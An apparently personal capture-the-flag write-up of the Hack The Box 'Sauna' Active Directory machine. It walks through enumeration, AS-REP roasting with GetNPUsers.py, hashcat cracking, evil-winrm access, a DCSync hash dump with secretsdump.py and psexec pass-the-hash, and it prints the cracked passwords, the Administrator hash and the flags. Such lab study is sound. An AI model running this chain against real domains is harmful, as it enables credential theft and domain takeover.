Windows Boxes

sauna

  1. nmapAuto
    1. nmap
    2. ldapsearch
  2. http
  3. vim macro breakdown
  4. initial foothold
    1. kerbroute
      1. run kerbrute with userlist
    2. GetNPUser.py
    3. hashcat BF Kerb TGT
    4. evil win-rm
  5. privesc
    1. winPEAS
    2. bloodhound/sharphound.exe
      1. neo4j console
      2. bloodhound report
        1. find shortest path to Domain Admins
        2. Find principals with DCSync Rights
    3. secretsdump.py
      1. pass the hash to win
  6. user/root

sauna

images/1327-1.png
images/1327-2.png

nmapAuto

We'll start off our enumeration by running Tib3rius' nmapautomator script
nmapAutomator.sh 10.10.10.175 All

nmap
recon

nmap

nmap -sV -sC 10.10.10.175
images/1335-1.png

Given the scan results, It can be assumed that Sauna is an
Active Directory box since Kerberos and Active Directory LDAP are running

ldapsearch

the box's DC is EGOTISTICAL-BANK.LOCAL
images/1337-1.png

http

images/404-1.png

vim macro breakdown

we want to make a userlist to enumerate users with the kerbrute script ippsec utilized on this box

we can write a python script but if we can't utilize that tool we can also use
vim macros to generate a nice user list without python

images/1330-1.png

keystroke macros are:
'q' to start recording, 'a' to bind macro to a images/1330-2.png
yy - yoink line Fergus Smith
3p - paste yoinked line 3 timesimages/1330-3.pngimages/1330-4.png
home' button, ‘/’ to start search ‘spacebar’ to find the next empty space 'enter’ to set the vim curser on the space ‘s’ (to remove space) and ‘.images/1330-5.pngand ‘esc' (to leave insert mode)
down arrow’, ‘home’ button, ‘right arrow’ to move cursor to Fergusdw’ (delete word)images/1330-6.png
down arrow’, ‘home’ button, ‘right arrow’ to move cursor to Fergusdw’ (delete word) ‘i’ (for insert mode) ‘.’, and ‘esc’ (to exit insert mode)images/1330-7.png
down arrow', ‘home' button', and finally ‘q’ to stop recordingimages/1330-8.png
now simply type ‘@a’ to repeat the macro once orimages/1330-9.png
'<#>@a to repeat the macro # times ie 3@a = 3 loops of macro

our finished list looks like so
images/1330-10.png

initial foothold

Kerbrute
GetNPUser.py
hashcat
evilwin-rm

kerbroute

to run kerbrute we need the github repo, Im going to grab the released version for amd64 and move it to my working directory
images/1333-1.pngimages/1333-2.png

images/1333-3.png
images/1333-4.png
images/1333-5.png
images/1333-6.png

images/1333-7.png

run kerbrute with userlist

we want to enumerate users on this box so thats the command we'll use
images/1332-1.png

images/1332-2.png domain controller will be 10.10.10.175

images/1332-3.pngalso since we're attacking AD we'll use the DC which is Egotisitcal-bank.local

users.txt is our userlist we're using for enumertion

./kerbrute userenum --dc 10.10.10.175 -d egotistical-bank.local users.txt
images/1332-4.png

we see FSmith is a valid user!

GetNPUser.py

we're going to take our enumerated user fsmith and see if
Queries target domain for users with 'Do not require Kerberos preauthentication' set and export their TGTs for cracking

GetNPUsers.py egotistical-bank.local/fsmith
images/1338-1.png

images/1338-2.png since our name or service is not known, we should update our /etc/hosts file to add the domain to the IP

images/1338-3.png
images/1338-4.png

rerunning getNPUsers.py:
images/1338-5.png

hashcat BF Kerb TGT

next step is to take our Kerb TGT hash and brute force it for its password with hashcat

lets save our TGT hash to the file
hashes
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:fb4e09de7f354d54190236d4413391cc$6372bb4ee5984d94f423e136420f9bb1d8f202129558e51e607881a2f3ee1848238cc00bcb687c10f0b99923e3ef72b10b8674bca265ae9543cc3b97518758585207f56d8949000e03a926e4c58944639375f09ff14232614702648b3bd3d9217ac214521b63c8c6f5b79c808b85d9d8b41f8e167ac6f262888cce44b75aadc1bf3f252c4130e88c2a346ac73ba1800597c8890eed1025fbe69b61724f5f46f7ba6a40a0bf89354590375f4aff31552d16c536a91e2fb4bad1e1d335f37918752701d8025b471149f21088885223d0e3fb709a167fcebe85f75d4bbf1de09afe7348933e10138ecfe1594c3a50ef619e7b7ec3dac78d772e7fd22a13137ec57e

to find out which module to use we can grep hashcat formats for the
images/1339-1.png string to find which module hashcat requires to crack Kerberos Hashes
images/1339-2.png

18200 works here through trial and error
images/1339-3.png

now to run hashcat:
hashcat -m 18200 hashes /usr/share/wordlists/rockyou.txt --force
images/1339-4.png

images/1339-5.png
images/1339-6.png
PW: Thestrokes23

evil win-rm

using our username and the password we just cracked, we can use evil-winrm to connect as user fsmith

evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23
images/1341-1.png

privesc

winPEAS
secretsdump
psexec (passing hash)

winPEAS

here is winPEAS binary location:
images/1343-1.png
copy it to our working directory with cp

images/1343-2.png

we can upload WinPEAS easily to our victim fsmith through our powershell session foothold with download
upload winPEAS.exe
images/1343-3.png

winPEAS finds Autologon creds
svc_loadmanager
Moneymakestheworldgoround!
images/1343-4.png
svc_loanmanager is the default username here but actually its svc_loanmgr


running net user
images/1343-5.png

bloodhound/sharphound.exe

upload sharphound, run it and download the zip output it produces to view on our attack machine
images/1345-1.png

images/1345-2.png

images/1345-3.png

images/1345-4.png

images/1345-5.png

neo4j console

to run bloodhound we need to run the neo4j database in the background

neo4j console
images/1346-1.png

bloodhound report

To view our sharphound report on bloodhound, click and drag the .zip report file we downloaded from our victim machine and it will autogenerate our report

next is to mark the
svc_loanmgr account as owned to highlight potential routes we can take to abuse security misconfigurations on the box and escalate our privileges to root
images/1347-1.png
images/1347-2.png

find shortest path to Domain Admins

images/1348-1.png

images/1348-2.png
not much to work with here since svc_loanmgr is not here

Find principals with DCSync Rights

boom! we see our cracked svc_loanmgr account has DCSync rights
images/1349-1.png
images/1349-2.png


Bloodhound provides info on how to abuse these privileges with mimikatz, however impacket's getsecrets.py script can also use this exploit to dump user hashes!
images/1349-3.png

secretsdump.py

using our newfound creds thanks to winPEAS

svc_loanmgr
Moneymakestheworldgoround!

secretsdump.py egotistical-bank.local/svc_loanmgr@10.10.10.175
images/1344-1.png
images/1344-2.pngMoneymakestheworldgoround!

images/1344-3.png

sercrets.py dumped all the password hashes of every user on the Sauna Box!, from here we can use psexec or evil-winrm to pass the Administrator's hash and log in

pass the hash to win

Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::

we can use psexec to pass the hash to get root

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff administrator@10.10.10.175
images/1350-1.png
images/1350-2.png

user/root

images/1351-1.png
1b5520b98d97cf17f24122a55baf70cf

images/1351-2.png
f3ee04965c68257382e31502cc5e881f